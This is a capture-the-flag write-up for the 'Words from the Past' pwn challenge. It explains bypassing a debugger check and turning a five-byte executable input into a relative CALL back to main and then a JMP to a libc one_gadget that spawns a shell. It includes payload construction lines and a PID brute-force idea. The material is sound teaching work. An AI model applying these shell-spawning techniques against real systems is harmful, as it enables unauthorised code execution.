> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / Cyber Apocalypse CTF 2026 / 2026-07-29

Words from the Past (pwn)

After patching out the debugger check, we discover an RWX memory region that directly executes a five-byte payload. We first send a relative CALL instruction to loop back to main, triggering a second stage that maps executable memory right next to libc. Using a relative JMP instruction, we target a one_gadget inside libc to hijack execution flow and spawn a shell. Because the target memory address depends on the child process ID, we brute-force the eight possible PID offsets to reliably gain full control.

We are given a zip file:

unzip -l words_from_the_past.zip
Archive:  words_from_the_past.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      269  2026-05-10 14:08   Dockerfile
        0  2026-05-17 04:03   challenge/
        0  2026-05-17 04:03   challenge/glibc/
  2125328  2026-05-17 01:59   challenge/glibc/libc.so.6
   236616  2026-05-17 01:59   challenge/glibc/ld-linux-x86-64.so.2
    18496  2026-05-17 03:51   challenge/words_from_the_past
---------                     -------
  2380709                     6 files
file words_from_the_past
words_from_the_past: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=238fd45740ccdda61d7bc7e9b0d7ba0a587b8cbb, for GNU/Linux 3.2.0, stripped

Let's load the binary in Ghidra.

There is a branch in the code that checks for a debugger:

    if (iVar1 != 0) {
      puts("Debugger detected!");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }

The corresponding instructions are:

     00101362 74 3b       JZ       LAB_0010139f
     00101364 48 8d       LEA      RAX,[s_Debugger_detected!_0010204d]   = "Debugger detected!"
             05 e2 
             0c 00 00
     0010136b 48 89 c7    MOV      RDI=>s_Debugger_detected!_0010204d,R  = "Debugger detected!"
     0010136e e8 ed       CALL     <EXTERNAL>::puts                      int puts(char * __s)
             fc ff ff
     00101373 bf 01       MOV      EDI,0x1
             00 00 00

We can simply patch the JZ and change it to JMP to bypass the debugger detection.

Looking at the rest of the code, the main vulnerability is extremely direct: the program maps attacker-controlled memory as readable, writable, and executable, reads bytes into it, and jumps to it.

UNRECOVERED_JUMPTABLE = mmap(local_38, 0x1000, 7, local_44, -1, 0);
read(0, UNRECOVERED_JUMPTABLE, 5);
...
(*UNRECOVERED_JUMPTABLE)();

We see that it reads 5 bytes from standard input into a memory region that is mapped with prot = 7.

prot = 7 means:

PROT_READ | PROT_WRITE | PROT_EXEC

Therefore, our five input bytes are executed directly as machine code.

The checks merely constrain the shellcode: - exactly five bytes must be read; - no \0 or newline; - no 0xcc; - the first byte must be either 0xe8 or 0xe9

First stage: controlled CALL rel32

On the first execution:

local_38 = (void *)0x1116d5;
local_44 = 0x22;
local_45 = 0xe8;

The first byte must therefore be 0xe8, the opcode for:

call rel32

Since the entire instruction is exactly five bytes, the input is interpreted as:

e8 XX XX XX XX

with destination:

target = shellcode_address + 5 + signed(rel32)

The obvious intended target is probably main itself. So the payload is:

payload1 = b"\xe8" + p32(main_addr - (stage1_addr + 5), signed=True)

Calling main again is particularly useful because the global state has changed:

DAT_00105030 = 1;

so the second invocation enters a different branch.

Second stage: mapping deliberately placed near libc

On the second invocation, the program finds the libc base by parsing /proc/self/maps.

It then calculates:

local_38 =
    libc_base -
    (((getpid() & 7) + 0x1000) * 0x1000);

and uses flags 0x32, approximately:

MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED

This places the second executable page approximately 16 MiB below libc.

That placement is important because a five-byte relative branch has a signed 32-bit displacement. Almost every libc address is consequently reachable from the mapping.

Second stage: controlled JMP rel32 into libc

On the second invocation:

local_45 = 0xe9;

so the input must be:

e9 XX XX XX XX

which is:

jmp rel32

The payload is therefore:

payload2 = b"\xe9" + p32(
    libc_target - (stage2_addr + 5),
    signed=True
)

This provides a direct jump to, for example, a one_gadget in libc.

We can find one_gadgets with:

one_gadget ./glibc/libc.so.6

Brute forcing the child PID

Firstly we notice that the program uses fork() to create a child process. The child process is the one that executes the second stage. We already saw that the child PID is used to calculate the memory mapping address, which affects the relative jump offset:

local_38 = (void *)(libc_base + ((ulong)(pid & 7) + 4096) * -4096);

We don't know the child PID in advance, but there are at most 8 possibilities for the low three bits of the PID. Therefore, we can brute force the child PID by trying all 8 possibilities.

See the script sol.py for the full exploit. In the second stage we jump to a one_gadget in libc, which spawns a shell.